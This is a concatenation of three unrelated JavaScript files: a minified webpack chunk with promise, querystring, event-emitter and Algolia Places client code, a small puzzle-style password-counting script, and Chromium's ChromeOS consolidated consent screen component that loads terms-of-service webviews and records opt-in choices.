ThemeMediaBreakpoint]: SpacerDirection\n}",signature:{properties:[{key:{name:"ThemeMediaBreakpoint",required:!0},value:{name:"union",raw:"`horizontal` | `vertical`",elements:[{name:"literal",value:"undefined"},{name:"literal",value:"undefined"}]}}]}}],raw:"Partial<\n {\n [MediaBreakpoint in ThemeMediaBreakpoint]: SpacerDirection\n }\n>"},description:""},size:{required:!0,tsType:{name:"ThemeSpace"},description:""},className:{required:!1,tsType:{name:"string"},description:""}}},"undefined"!=typeof STORYBOOK_REACT_CLASSES&&(STORYBOOK_REACT_CLASSES["src/components/Spacer/Spacer.tsx"]={name:"Spacer",docgenInfo:s.__docgenInfo,path:"src/components/Spacer/Spacer.tsx"})},c2LU:function(e,t,n){"use strict";e.exports=function(e,t){/\?/.test(e)?e+="&":e+="?";return e+r(t)};var r=n("zHZo")},co5t:function(e,t,n){(function(t,r){var o;n("Qavd"),o=function(){"use strict";function e(e){return"function"==typeof e}var n=Array.isArray?Array.isArray:function(e){return"[object Array]"===Object.prototype.toString.call(e)},o=0,i=void 0,s=void 0,a=function(e,t){f[o]=e,f[o+1]=t,2===(o+=2)&&(s?s(m):_())},c="undefined"!=typeof window?window:void 0,u=c||{},l=u.MutationObserver||u.WebKitMutationObserver,p="undefined"==typeof self&&void 0!==t&&"[object process]"==={}.toString.call(t),d="undefined"!=typeof Uint8ClampedArray&&"undefined"!=typeof importScripts&&"undefined"!=typeof MessageChannel;function h(){var e=setTimeout;return function(){return e(m,1)}}var f=new Array(1e3);function m(){for(var e=0;e<o;e+=2)(0,f[e])(f[e+1]),f[e]=void 0,f[e+1]=void 0;o=0}var y,v,g,b,_=void 0;function w(e,t){var n=this,r=new this.constructor(x);void 0===r[S]&&L(r);var o=n._state;if(o){var i=arguments[o-1];a((function(){return N(o,r,i,n._result)}))}else E(n,r,e,t);return r}function T(e){if(e&&"object"==typeof e&&e.constructor===this)return e;var t=new this(x);return R(t,e),t}p?_=function(){return t.nextTick(m)}:l?(v=0,g=new l(m),b=document.createTextNode(""),g.observe(b,{characterData:!0}),_=function(){b.data=v=++v%2}):d?((y=new MessageChannel).port1.onmessage=m,_=function(){return y.port2.postMessage(0)}):_=void 0===c?function(){try{var e=Function("return this")().require("vertx");return void 0!==(i=e.runOnLoop||e.runOnContext)?function(){i(m)}:h()}catch(t){return h()}}():h();var S=Math.random().toString(36).substring(2);function x(){}var A={error:null};function O(e){try{return e.then}catch(t){return A.error=t,A}}function C(t,n,r){n.constructor===t.constructor&&r===w&&n.constructor.resolve===T?function(e,t){1===t._state?k(e,t._result):2===t._state?I(e,t._result):E(t,void 0,(function(t){return R(e,t)}),(function(t){return I(e,t)}))}(t,n):r===A?(I(t,A.error),A.error=null):void 0===r?k(t,n):e(r)?function(e,t,n){a((function(e){var r=!1,o=function(e,t,n,r){try{e.call(t,n,r)}catch(o){return o}}(n,t,(function(n){r||(r=!0,t!==n?R(e,n):k(e,n))}),(function(t){r||(r=!0,I(e,t))}),e._label);!r&&o&&(r=!0,I(e,o))}),e)}(t,n,r):k(t,n)}function R(e,t){var n,r;e===t?I(e,new TypeError("You cannot resolve a promise with itself")):(r=typeof(n=t),null===n||"object"!==r&&"function"!==r?k(e,t):C(e,t,O(t)))}function j(e){e._onerror&&e._onerror(e._result),q(e)}function k(e,t){void 0===e._state&&(e._result=t,e._state=1,0!==e._subscribers.length&&a(q,e))}function I(e,t){void 0===e._state&&(e._state=2,e._result=t,a(j,e))}function E(e,t,n,r){var o=e._subscribers,i=o.length;e._onerror=null,o[i]=t,o[i+1]=n,o[i+2]=r,0===i&&e._state&&a(q,e)}function q(e){var t=e._subscribers,n=e._state;if(0!==t.length){for(var r=void 0,o=void 0,i=e._result,s=0;s<t.length;s+=3)r=t[s],o=t[s+n],r?N(n,r,o,i):o(i);e._subscribers.length=0}}function N(t,n,r,o){var i=e(r),s=void 0,a=void 0,c=void 0,u=void 0;if(i){if((s=function(e,t){try{return e(t)}catch(n){return A.error=n,A}}(r,o))===A?(u=!0,a=s.error,s.error=null):c=!0,n===s)return void I(n,new TypeError("A promises callback cannot return that same promise."))}else s=o,c=!0;void 0!==n._state||(i&&c?R(n,s):u?I(n,a):1===t?k(n,s):2===t&&I(n,s))}var F=0;function L(e){e[S]=F++,e._state=void 0,e._result=void 0,e._subscribers=[]}var P=function(){function e(e,t){this._instanceConstructor=e,this.promise=new e(x),this.promise[S]||L(this.promise),n(t)?(this.length=t.length,this._remaining=t.length,this._result=new Array(this.length),0===this.length?k(this.promise,this._result):(this.length=this.length||0,this._enumerate(t),0===this._remaining&&k(this.promise,this._result))):I(this.promise,new Error("Array Methods must be provided an Array"))}return e.prototype._enumerate=function(e){for(var t=0;void 0===this._state&&t<e.length;t++)this._eachEntry(e[t],t)},e.prototype._eachEntry=function(e,t){var n=this._instanceConstructor,r=n.resolve;if(r===T){var o=O(e);if(o===w&&void 0!==e._state)this._settledAt(e._state,t,e._result);else if("function"!=typeof o)this._remaining--,this._result[t]=e;else if(n===M){var i=new n(x);C(i,e,o),this._willSettleAt(i,t)}else this._willSettleAt(new n((function(t){return t(e)})),t)}else this._willSettleAt(r(e),t)},e.prototype._settledAt=function(e,t,n){var r=this.promise;void 0===r._state&&(this._remaining--,2===e?I(r,n):this._result[t]=n),0===this._remaining&&k(r,this._result)},e.prototype._willSettleAt=function(e,t){var n=this;E(e,void 0,(function(e){return n._settledAt(1,t,e)}),(function(e){return n._settledAt(2,t,e)}))},e}(),M=function(){function t(e){this[S]=F++,this._result=this._state=void 0,this._subscribers=[],x!==e&&("function"!=typeof e&&function(){throw new TypeError("You must pass a resolver function as the first argument to the promise constructor")}(),this instanceof t?function(e,t){try{t((function(t){R(e,t)}),(function(t){I(e,t)}))}catch(n){I(e,n)}}(this,e):function(){throw new TypeError("Failed to construct 'Promise': Please use the 'new' operator, this object constructor cannot be called as a function.")}())}return t.prototype.catch=function(e){return this.then(null,e)},t.prototype.finally=function(t){var n=this.constructor;return e(t)?this.then((function(e){return n.resolve(t()).then((function(){return e}))}),(function(e){return n.resolve(t()).then((function(){throw e}))})):this.then(t,t)},t}();return M.prototype.then=w,M.all=function(e){return new P(this,e).promise},M.race=function(e){var t=this;return n(e)?new t((function(n,r){for(var o=e.length,i=0;i<o;i++)t.resolve(e[i]).then(n,r)})):new t((function(e,t){return t(new TypeError("You must pass an array to race."))}))},M.resolve=T,M.reject=function(e){var t=new this(x);return I(t,e),t},M._setScheduler=function(e){s=e},M._setAsap=function(e){a=e},M._asap=a,M.polyfill=function(){var e=void 0;if(void 0!==r)e=r;else if("undefined"!=typeof self)e=self;else try{e=Function("return this")()}catch(o){throw new Error("polyfill failed because global object is unavailable in this environment")}var t=e.Promise;if(t){var n=null;try{n=Object.prototype.toString.call(t.resolve())}catch(o){}if("[object Promise]"===n&&!t.cast)return}e.Promise=M},M.Promise=M,M},e.exports=o()}).call(this,n("F63i"),n("fRV1"))},dExI:function(e,t,n){"use strict";t.a={APPLICATION_ID:"OFCNCOG2CU",API_KEY:"ae43b69014c017e05950a1cd4273f404"}},js4a:function(e,t,n){e.exports=function(e){return function(t,i,s){var a=n("R4rC");(s=s&&a(s)||{}).hosts=s.hosts||["places-dsn.algolia.net","places-1.algolianet.com","places-2.algolianet.com","places-3.algolianet.com"],0!==arguments.length&&"object"!=typeof t&&void 0!==t||(t="",i="",s._allowEmptyCredentials=!0);var c=e(t,i,s),u=c.initIndex("places");return u.search=o("query","/1/places/query"),u.reverse=function(e,t){var n=r.encode(e);return this.as._jsonRequest({method:"GET",url:"/1/places/reverse?"+n,hostType:"read",callback:t})},u.getObject=function(e,t){return this.as._jsonRequest({method:"GET",url:"/1/places/"+encodeURIComponent(e),hostType:"read",callback:t})},u}};var r=n("prCu"),o=n("b2FX")},prCu:function(e,t,n){"use strict";t.decode=t.parse=n("r/K9"),t.encode=t.stringify=n("zHZo")},qW1w:function(e,t){"function"==typeof Object.create?e.exports=function(e,t){t&&(e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}))}:e.exports=function(e,t){if(t){e.super_=t;var n=function(){};n.prototype=t.prototype,e.prototype=new n,e.prototype.constructor=e}}},"r/K9":function(e,t,n){"use strict";function r(e,t){return Object.prototype.hasOwnProperty.call(e,t)}e.exports=function(e,t,n,i){t=t||"&",n=n||"=";var s={};if("string"!=typeof e||0===e.length)return s;var a=/\+/g;e=e.split(t);var c=1e3;i&&"number"==typeof i.maxKeys&&(c=i.maxKeys);var u=e.length;c>0&&u>c&&(u=c);for(var l=0;l<u;++l){var p,d,h,f,m=e[l].replace(a,"%20"),y=m.indexOf(n);y>=0?(p=m.substr(0,y),d=m.substr(y+1)):(p=m,d=""),h=decodeURIComponent(p),f=decodeURIComponent(d),r(s,h)?o(s[h])?s[h].push(f):s[h]=[s[h],f]:s[h]=f}return s};var o=Array.isArray||function(e){return"[object Array]"===Object.prototype.toString.call(e)}},r6ry:function(e,t){e.exports=function(e,t){t(e,0)}},x4NP:function(e,t){e.exports=function(e,t){var n=!1;return function(){return n||(console.warn(t),n=!0),e.apply(this,arguments)}}},xxTz:function(e,t){e.exports=function(e,t){var n=e.toLowerCase().replace(/[\.\(\)]/g,"");return"algoliasearch: `"+e+"` was replaced by `"+t+"`. Please see https://github.com/algolia/algoliasearch-client-javascript/wiki/Deprecated#"+n}},yDK5:function(e,t,n){"use strict";var r,o="object"==typeof Reflect?Reflect:null,i=o&&"function"==typeof o.apply?o.apply:function(e,t,n){return Function.prototype.apply.call(e,t,n)};r=o&&"function"==typeof o.ownKeys?o.ownKeys:Object.getOwnPropertySymbols?function(e){return Object.getOwnPropertyNames(e).concat(Object.getOwnPropertySymbols(e))}:function(e){return Object.getOwnPropertyNames(e)};var s=Number.isNaN||function(e){return e!=e};function a(){a.init.call(this)}e.exports=a,a.EventEmitter=a,a.prototype._events=void 0,a.prototype._eventsCount=0,a.prototype._maxListeners=void 0;var c=10;function u(e){return void 0===e._maxListeners?a.defaultMaxListeners:e._maxListeners}function l(e,t,n,r){var o,i,s,a;if("function"!=typeof n)throw new TypeError('The "listener" argument must be of type Function. Received type '+typeof n);if(void 0===(i=e._events)?(i=e._events=Object.create(null),e._eventsCount=0):(void 0!==i.newListener&&(e.emit("newListener",t,n.listener?n.listener:n),i=e._events),s=i[t]),void 0===s)s=i[t]=n,++e._eventsCount;else if("function"==typeof s?s=i[t]=r?[n,s]:[s,n]:r?s.unshift(n):s.push(n),(o=u(e))>0&&s.length>o&&!s.warned){s.warned=!0;var c=new Error("Possible EventEmitter memory leak detected. "+s.length+" "+String(t)+" listeners added. Use emitter.setMaxListeners() to increase limit");c.name="MaxListenersExceededWarning",c.emitter=e,c.type=t,c.count=s.length,a=c,console&&console.warn&&console.warn(a)}return e}function p(){for(var e=[],t=0;t<arguments.length;t++)e.push(arguments[t]);this.fired||(this.target.removeListener(this.type,this.wrapFn),this.fired=!0,i(this.listener,this.target,e))}function d(e,t,n){var r={fired:!1,wrapFn:void 0,target:e,type:t,listener:n},o=p.bind(r);return o.listener=n,r.wrapFn=o,o}function h(e,t,n){var r=e._events;if(void 0===r)return[];var o=r[t];return void 0===o?[]:"function"==typeof o?n?[o.listener||o]:[o]:n?function(e){for(var t=new Array(e.length),n=0;n<t.length;++n)t[n]=e[n].listener||e[n];return t}(o):m(o,o.length)}function f(e){var t=this._events;if(void 0!==t){var n=t[e];if("function"==typeof n)return 1;if(void 0!==n)return n.length}return 0}function m(e,t){for(var n=new Array(t),r=0;r<t;++r)n[r]=e[r];return n}Object.defineProperty(a,"defaultMaxListeners",{enumerable:!0,get:function(){return c},set:function(e){if("number"!=typeof e||e<0||s(e))throw new RangeError('The value of "defaultMaxListeners" is out of range. It must be a non-negative number. Received '+e+".");c=e}}),a.init=function(){void 0!==this._events&&this._events!==Object.getPrototypeOf(this)._events||(this._events=Object.create(null),this._eventsCount=0),this._maxListeners=this._maxListeners||void 0},a.prototype.setMaxListeners=function(e){if("number"!=typeof e||e<0||s(e))throw new RangeError('The value of "n" is out of range. It must be a non-negative number. Received '+e+".");return this._maxListeners=e,this},a.prototype.getMaxListeners=function(){return u(this)},a.prototype.emit=function(e){for(var t=[],n=1;n<arguments.length;n++)t.push(arguments[n]);var r="error"===e,o=this._events;if(void 0!==o)r=r&&void 0===o.error;else if(!r)return!1;if(r){var s;if(t.length>0&&(s=t[0]),s instanceof Error)throw s;var a=new Error("Unhandled error."+(s?" ("+s.message+")":""));throw a.context=s,a}var c=o[e];if(void 0===c)return!1;if("function"==typeof c)i(c,this,t);else{var u=c.length,l=m(c,u);for(n=0;n<u;++n)i(l[n],this,t)}return!0},a.prototype.addListener=function(e,t){return l(this,e,t,!1)},a.prototype.on=a.prototype.addListener,a.prototype.prependListener=function(e,t){return l(this,e,t,!0)},a.prototype.once=function(e,t){if("function"!=typeof t)throw new TypeError('The "listener" argument must be of type Function. Received type '+typeof t);return this.on(e,d(this,e,t)),this},a.prototype.prependOnceListener=function(e,t){if("function"!=typeof t)throw new TypeError('The "listener" argument must be of type Function. Received type '+typeof t);return this.prependListener(e,d(this,e,t)),this},a.prototype.removeListener=function(e,t){var n,r,o,i,s;if("function"!=typeof t)throw new TypeError('The "listener" argument must be of type Function. Received type '+typeof t);if(void 0===(r=this._events))return this;if(void 0===(n=r[e]))return this;if(n===t||n.listener===t)0==--this._eventsCount?this._events=Object.create(null):(delete r[e],r.removeListener&&this.emit("removeListener",e,n.listener||t));else if("function"!=typeof n){for(o=-1,i=n.length-1;i>=0;i--)if(n[i]===t||n[i].listener===t){s=n[i].listener,o=i;break}if(o<0)return this;0===o?n.shift():function(e,t){for(;t+1<e.length;t++)e[t]=e[t+1];e.pop()}(n,o),1===n.length&&(r[e]=n[0]),void 0!==r.removeListener&&this.emit("removeListener",e,s||t)}return this},a.prototype.off=a.prototype.removeListener,a.prototype.removeAllListeners=function(e){var t,n,r;if(void 0===(n=this._events))return this;if(void 0===n.removeListener)return 0===arguments.length?(this._events=Object.create(null),this._eventsCount=0):void 0!==n[e]&&(0==--this._eventsCount?this._events=Object.create(null):delete n[e]),this;if(0===arguments.length){var o,i=Object.keys(n);for(r=0;r<i.length;++r)"removeListener"!==(o=i[r])&&this.removeAllListeners(o);return this.removeAllListeners("removeListener"),this._events=Object.create(null),this._eventsCount=0,this}if("function"==typeof(t=n[e]))this.removeListener(e,t);else if(void 0!==t)for(r=t.length-1;r>=0;r--)this.removeListener(e,t[r]);return this},a.prototype.listeners=function(e){return h(this,e,!0)},a.prototype.rawListeners=function(e){return h(this,e,!1)},a.listenerCount=function(e,t){return"function"==typeof e.listenerCount?e.listenerCount(t):f.call(e,t)},a.prototype.listenerCount=f,a.prototype.eventNames=function(){return this._eventsCount>0?r(this._events):[]}},zHZo:function(e,t,n){"use strict";var r=function(e){switch(typeof e){case"string":return e;case"boolean":return e?"true":"false";case"number":return isFinite(e)?e:"";default:return""}};e.exports=function(e,t,n,a){return t=t||"&",n=n||"=",null===e&&(e=void 0),"object"==typeof e?i(s(e),(function(s){var a=encodeURIComponent(r(s))+n;return o(e[s])?i(e[s],(function(e){return a+encodeURIComponent(r(e))})).join(t):a+encodeURIComponent(r(e[s]))})).join(t):a?encodeURIComponent(r(a))+n+encodeURIComponent(r(e)):""};var o=Array.isArray||function(e){return"[object Array]"===Object.prototype.toString.call(e)};function i(e,t){if(e.map)return e.map(t);for(var n=[],r=0;r<e.length;r++)n.push(t(e[r],r));return n}var s=Object.keys||function(e){var t=[];for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&t.push(n);return t}}}]);
//# sourceMappingURL=c432bec7e9afb3443fd639df9e5f119e13575cf7-dee6b5f9b2cd7434b70d.js.map
|
const fs = require('fs');
const easySolver = require('./easy-solver');
const hardSolver = require('./hard-solver');
const input = fs.readFileSync('input.txt', 'utf-8').trim();
const passwords = input.split('\n');
// Easy result
const easyValidPasswords = passwords.filter(easySolver);
console.log(`Number of easy passwords: ${easyValidPasswords.length}`);
// Hard result
const hardValidPasswords = passwords.filter(hardSolver);
console.log(`Number of hard passwords: ${hardValidPasswords.length}`);
|
// Copyright 2021 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/**
* @fileoverview consolidated consent screen implementation.
*/
'use strict';
(function() {
// Enum that describes the current state of the Consolidated Consent screen
const UIState = {
LOADING: 'loading',
LOADED: 'loaded',
ERROR: 'error',
GOOGLE_EULA: 'google-eula',
CROS_EULA: 'cros-eula',
ARC: 'arc',
PRIVACY: 'privacy',
};
/**
* URL to use when online page is not available.
* @type {string}
*/
const GOOGLE_EULA_TERMS_URL = 'chrome://terms';
const ARC_TERMS_URL = 'chrome://terms/arc/terms';
const PRIVACY_POLICY_URL = 'chrome://terms/arc/privacy_policy';
Polymer({
is: 'consolidated-consent-element',
behaviors: [OobeI18nBehavior, MultiStepBehavior, LoginScreenBehavior],
EXTERNAL_API: [
'SetUsageMode',
'setBackupMode',
'setLocationMode',
],
properties: {
isArcEnabled_: {
type: Boolean,
value: true,
},
isDemo_: {
type: Boolean,
value: false,
},
isChildAccount_: {
type: Boolean,
value: false,
},
usageManaged_: {
type: Boolean,
value: false,
},
backupManaged_: {
type: Boolean,
value: false,
},
locationManaged_: {
type: Boolean,
value: false,
},
usageChecked: {
type: Boolean,
value: true,
},
backupChecked: {
type: Boolean,
value: true,
},
locationChecked: {
type: Boolean,
value: true,
},
googleEulaLoading_: {
type: Boolean,
value: true,
},
crosEulaLoading_: {
type: Boolean,
value: true,
},
arcTosLoading_: {
type: Boolean,
value: true,
},
privacyPolicyLoading_: {
type: Boolean,
value: true,
},
},
/**
* Text displayed in the Arc Terms of Service webview.
*/
arcTosContent_: '',
/**
* If online ARC ToS failed to load in the demo mode, the offline version
* is loaded and `isArcTosUsingOfflineTerms_` is set to true.
* @private {boolean}
*/
isArcTosUsingOfflineTerms_: false,
isArcTosInitialized_: false,
/**
* Flag that ensures that OOBE configuration is applied only once.
* @private {boolean}
*/
configuration_applied_: false,
/**
* The hostname of the url where the terms of service will be fetched.
* Overwritten by tests to load terms of service from local test server.
*/
termsOfServiceHostName_: 'https://play.google.com',
/**
* Online URLs
*/
googleEulaUrl_: '',
crosEulaUrl_: '',
arcTosUrl_: '',
defaultUIStep() {
return UIState.LOADING;
},
UI_STEPS: UIState,
ready() {
this.initializeLoginScreen('ConsolidatedConsentScreen', {
resetAllowed: true,
});
this.updateLocalizedContent();
},
onBeforeShow(data) {
window.setTimeout(this.applyOobeConfiguration_);
this.isArcEnabled_ = data['isArcEnabled'];
this.isDemo_ = data['isDemo'];
this.isChildAccount_ = data['isChildAccount'];
this.googleEulaLoading_ = true;
this.crosEulaLoading_ = true;
this.arcTosLoading_ = true;
this.googleEulaUrl_ = data['googleEulaUrl'];
this.crosEulaUrl_ = data['crosEulaUrl'];
this.arcTosUrl_ = this.termsOfServiceHostName_ + '/about/play-terms.html';
const countryCode = data['countryCode'];
this.initializeArcTos_(countryCode);
this.loadWebviews_();
if (this.isArcOptInsHidden_(this.isArcEnabled_, this.isDemo_)) {
this.$.loadedContent.classList = 'landscape-header-aligned';
} else {
this.$.loadedContent.classList = 'landscape-vertical-centered';
}
},
/** Initial UI State for screen */
getOobeUIInitialState() {
return OOBE_UI_STATE.ONBOARDING;
},
applyOobeConfiguration_: () => {
if (this.configuration_applied_)
return;
var configuration = Oobe.getInstance().getOobeConfiguration();
if (!configuration)
return;
if (configuration.eulaSendStatistics)
this.usageChecked = true;
if (configuration.eulaAutoAccept && configuration.arcTosAutoAccept)
this.onAcceptClick_();
},
initializeArcTos_(countryCode) {
if (this.isArcTosInitialized_)
return;
this.isArcTosInitialized_ = true;
const webview = this.$.arcTosWebview;
webview.removeContentScripts(['preProcess']);
var language = this.getCurrentLanguage_();
countryCode = countryCode.toLowerCase();
var scriptSetParameters = 'document.countryCode = \'' + countryCode + '\';';
scriptSetParameters += 'document.language = \'' + language + '\';';
scriptSetParameters += 'document.viewMode = \'large-view\';';
webview.addContentScripts([{
name: 'preProcess',
matches: [this.getTermsOfServiceHostNameForMatchPattern_() + '/*'],
js: {code: scriptSetParameters},
run_at: 'document_start'
}]);
this.$.arcTosOverlayWebview.addContentScripts([{
name: 'postProcess',
matches: ['https://support.google.com/*'],
css: {files: ['overlay.css']},
run_at: 'document_end'
}]);
webview.addEventListener('newwindow', (event) => {
event.preventDefault();
this.showArcTosOverlay(event.targetUrl);
});
},
loadWebviews_() {
this.loadEulaWebview_(
this.$.googleEulaWebview, this.googleEulaUrl_,
false /* clear_anchors */);
this.loadEulaWebview_(
this.$.crosEulaWebview, this.crosEulaUrl_, true /* clear_anchors */);
this.loadArcTosWebview_(this.arcTosUrl_);
},
loadEulaWebview_(webview, online_tos_url, clear_anchors) {
const loadFailureCallback = () => {
WebViewHelper.loadUrlContentToWebView(
webview, EULA_TERMS_URL, WebViewHelper.ContentType.HTML);
};
const tosLoader = new WebViewLoader(
webview, loadFailureCallback, clear_anchors, true /* inject_css */);
tosLoader.setUrl(online_tos_url);
},
loadArcTosWebview_(online_tos_url) {
const webview = this.$.arcTosWebview;
var loadFailureCallback = () => {
if (this.isDemo_) {
this.isArcTosUsingOfflineTerms_ = true;
WebViewHelper.loadUrlContentToWebView(
webview, ARC_TERMS_URL, WebViewHelper.ContentType.HTML);
return;
}
this.setUIStep(UIState.ERROR);
};
var tosLoader = new WebViewLoader(
webview, loadFailureCallback, false /* clear_anchors */,
false /* inject_css */);
tosLoader.setUrl(online_tos_url);
},
/**
* Returns a match pattern compatible version of termsOfServiceHostName_ by
* stripping the port number part of the hostname. During tests
* termsOfServiceHostName_ will contain a port number part.
* @return {string}
* @private
*/
getTermsOfServiceHostNameForMatchPattern_() {
return this.termsOfServiceHostName_.replace(/:[0-9]+/, '');
},
/**
* Returns current language that can be updated in OOBE flow. If OOBE flow
* does not exist then use navigator.language.
*
* @private
*/
getCurrentLanguage_() {
const LANGUAGE_LIST_ID = 'languageList';
if (loadTimeData.valueExists(LANGUAGE_LIST_ID)) {
var languageList = /** @type {!Array<OobeTypes.LanguageDsc>} */ (
loadTimeData.getValue(LANGUAGE_LIST_ID));
if (languageList) {
var language = getSelectedValue(languageList);
if (language) {
return language;
}
}
}
return navigator.language;
},
loadPrivacyPolicyWebview_(online_tos_url) {
const webview = this.$.privacyPolicyWebview;
var loadFailureCallback = () => {
if (this.isDemo_) {
WebViewHelper.loadUrlContentToWebView(
webview, PRIVACY_POLICY_URL, WebViewHelper.ContentType.PDF);
}
};
var tosLoader = new WebViewLoader(
webview, loadFailureCallback, false /* clear_anchors */,
false /* inject_css */);
tosLoader.setUrl(online_tos_url);
},
onGoogleEulaContentLoad_() {
this.googleEulaLoading_ = false;
this.maybeSetLoadedStep_();
},
onCrosEulaContentLoad_() {
this.crosEulaLoading_ = false;
},
maybeSetLoadedStep_() {
if (!this.googleEulaLoading_ && !this.arcTosLoading_ &&
this.uiStep == UIState.LOADING) {
this.setUIStep(UIState.LOADED);
this.$.acceptButton.focus();
}
},
onArcTosContentLoad_() {
const webview = this.$.arcTosWebview;
if (this.isArcTosUsingOfflineTerms_) {
// Process offline ToS. Scripts added to web view by addContentScripts()
// are not executed when using data url.
var setParameters =
`document.body.classList.add('large-view', 'offline-terms');`;
webview.executeScript({code: setParameters});
webview.insertCSS({file: 'playstore.css'});
// Load the offline terms for privacy policy
WebViewHelper.loadUrlContentToWebView(
webview, PRIVACY_POLICY_URL, WebViewHelper.ContentType.PDF);
} else {
webview.executeScript({code: 'getPrivacyPolicyLink();'}, (results) => {
if (results && results.length == 1 && typeof results[0] == 'string') {
this.loadPrivacyPolicyWebview_(results[0]);
} else {
var defaultLink = 'https://www.google.com/intl/' +
this.getCurrentLanguage_() + '/policies/privacy/';
this.loadPrivacyPolicyWebview_(defaultLink);
}
});
}
// In demo mode, consents are not recorded, so no need to store the ToS
// Content.
if (!this.isDemo_) {
// Process online ToS.
var getToSContent = {code: 'getToSContent();'};
webview.executeScript(getToSContent, (results) => {
if (!results || results.length != 1 || typeof results[0] !== 'string')
return;
this.arcTosContent_ = results[0];
});
}
this.arcTosLoading_ = false;
this.maybeSetLoadedStep_();
},
onPrivacyPolicyContentLoad_() {
this.privacyPolicyLoading_ = false;
},
updateLocalizedContent() {
this.$$('#privacyPolicyLink')
.addEventListener('click', () => this.onPrivacyPolicyLinkClick_());
this.$$('#googleEulaLink')
.addEventListener('click', () => this.onGoogleEulaLinkClick_());
this.$$('#googleEulaLinkArcDisabled')
.addEventListener('click', () => this.onGoogleEulaLinkClick_());
this.$$('#crosEulaLink')
.addEventListener('click', () => this.onCrosEulaLinkClick_());
this.$$('#crosEulaLinkArcDisabled')
.addEventListener('click', () => this.onCrosEulaLinkClick_());
this.$$('#arcTosLink')
.addEventListener('click', () => this.onArcTosLinkClick_());
},
getSubtitle_(locale) {
const subtitle = document.createElement('div');
subtitle.innerHTML =
this.i18nAdvanced('consolidatedConsentSubheader', {attrs: ['id']});
const privacyPolicyLink = subtitle.querySelector('#privacyPolicyLink');
privacyPolicyLink.setAttribute('is', 'action-link');
privacyPolicyLink.classList.add('oobe-local-link');
return subtitle.innerHTML;
},
getTermsDescription_(locale) {
const description = document.createElement('div');
description.innerHTML = this.i18nAdvanced(
'consolidatedConsentTermsDescription', {attrs: ['id']});
const googleEulaLink = description.querySelector('#googleEulaLink');
googleEulaLink.setAttribute('is', 'action-link');
googleEulaLink.classList.add('oobe-local-link');
const crosEulaLink = description.querySelector('#crosEulaLink');
crosEulaLink.setAttribute('is', 'action-link');
crosEulaLink.classList.add('oobe-local-link');
const arcTosLink = description.querySelector('#arcTosLink');
arcTosLink.setAttribute('is', 'action-link');
arcTosLink.classList.add('oobe-local-link');
return description.innerHTML;
},
getTermsDescriptionArcDisabled_(locale) {
const description = document.createElement('div');
description.innerHTML = this.i18nAdvanced(
'consolidatedConsentTermsDescriptionArcDisabled', {attrs: ['id']});
const googleEulaLink =
description.querySelector('#googleEulaLinkArcDisabled');
googleEulaLink.setAttribute('is', 'action-link');
googleEulaLink.classList.add('oobe-local-link');
const crosEulaLink = description.querySelector('#crosEulaLinkArcDisabled');
crosEulaLink.setAttribute('is', 'action-link');
crosEulaLink.classList.add('oobe-local-link');
return description.innerHTML;
},
getUsageText_(locale, isChildAccount, isArcEnabled, isDemo) {
if (this.isArcOptInsHidden_(isArcEnabled, isDemo)) {
return this.i18n('consolidatedConsentUsageOptInArcDisabled');
}
if (isChildAccount)
return this.i18n('consolidatedConsentUsageOptInChild');
return this.i18n('consolidatedConsentUsageOptIn');
},
getUsageLearnMoreText_(locale, isChildAccount, isArcEnabled, isDemo) {
if (this.isArcOptInsHidden_(isArcEnabled, isDemo)) {
if (isChildAccount) {
return this.i18nAdvanced(
'consolidatedConsentUsageOptInLearnMoreArcDisabledChild');
}
return this.i18nAdvanced(
'consolidatedConsentUsageOptInLearnMoreArcDisabled');
}
if (isChildAccount)
return this.i18nAdvanced('consolidatedConsentUsageOptInLearnMoreChild');
return this.i18nAdvanced('consolidatedConsentUsageOptInLearnMore');
},
getBackupLearnMoreText_(locale, isChildAccount) {
if (isChildAccount)
return this.i18nAdvanced('consolidatedConsentBackupOptInLearnMoreChild');
return this.i18nAdvanced('consolidatedConsentBackupOptInLearnMore');
},
getLocationLearnMoreText_(locale, isChildAccount) {
if (isChildAccount) {
return this.i18nAdvanced(
'consolidatedConsentLocationOptInLearnMoreChild');
}
return this.i18nAdvanced('consolidatedConsentLocationOptInLearnMore');
},
isArcOptInsHidden_(isArcEnabled, isDemo) {
return !isArcEnabled || isDemo;
},
/**
* Sets current usage mode.
* @param {boolean} enabled Defines the state of usage opt in.
* @param {boolean} managed Defines whether this setting is set by policy.
*/
SetUsageMode(enabled, managed) {
this.usageChecked = enabled;
this.usageManaged_ = managed;
},
/**
* Sets current backup and restore mode.
* @param {boolean} enabled Defines the state of backup opt in.
* @param {boolean} managed Defines whether this setting is set by policy.
*/
setBackupMode(enabled, managed) {
this.backupChecked = enabled;
this.backupManaged_ = managed;
},
/**
* Sets current usage of location service opt in mode.
* @param {boolean} enabled Defines the state of location service opt in.
* @param {boolean} managed Defines whether this setting is set by policy.
*/
setLocationMode(enabled, managed) {
this.locationChecked = enabled;
this.locationManaged_ = managed;
},
/**
* Opens external URL in popup overlay.
* @param {string} targetUrl to show in overlay webview.
*/
showArcTosOverlay(targetUrl) {
this.$.arcTosOverlayWebview.src = targetUrl;
this.$.arcTosOverlay.showDialog();
},
onGoogleEulaLinkClick_() {
this.setUIStep(UIState.GOOGLE_EULA);
this.$.googleEulaOkButton.focus();
},
onCrosEulaLinkClick_() {
this.setUIStep(UIState.CROS_EULA);
this.$.crosEulaOkButton.focus();
},
onArcTosLinkClick_() {
this.setUIStep(UIState.ARC);
this.$.ArcTosOkButton.focus();
},
onPrivacyPolicyLinkClick_() {
this.setUIStep(UIState.PRIVACY);
this.$.privacyOkButton.focus();
},
onTermsStepOkClick_() {
this.setUIStep(UIState.LOADED);
this.$.acceptButton.focus();
},
onUsageLearnMoreClick_() {
this.$.usageLearnMorePopUp.showDialog();
},
onBackupLearnMoreClick_() {
this.$.backupLearnMorePopUp.showDialog();
},
onLocationLearnMoreClick_() {
this.$.locationLearnMorePopUp.showDialog();
},
onFooterLearnMoreClick_() {
this.$.footerLearnMorePopUp.showDialog();
},
onAcceptClick_() {
chrome.send('ToSAccept', [
this.usageChecked, this.backupChecked, this.locationChecked,
this.arcTosContent_
]);
},
/**
* On-tap event handler for Retry button.
*
* @private
*/
onRetryClick_() {
this.setUIStep(UIState.LOADING);
this.$.retryButton.focus();
this.loadWebviews_();
},
/**
* On-tap event handler for Back button.
*
* @private
*/
onBack_() {
this.userActed('back');
},
});
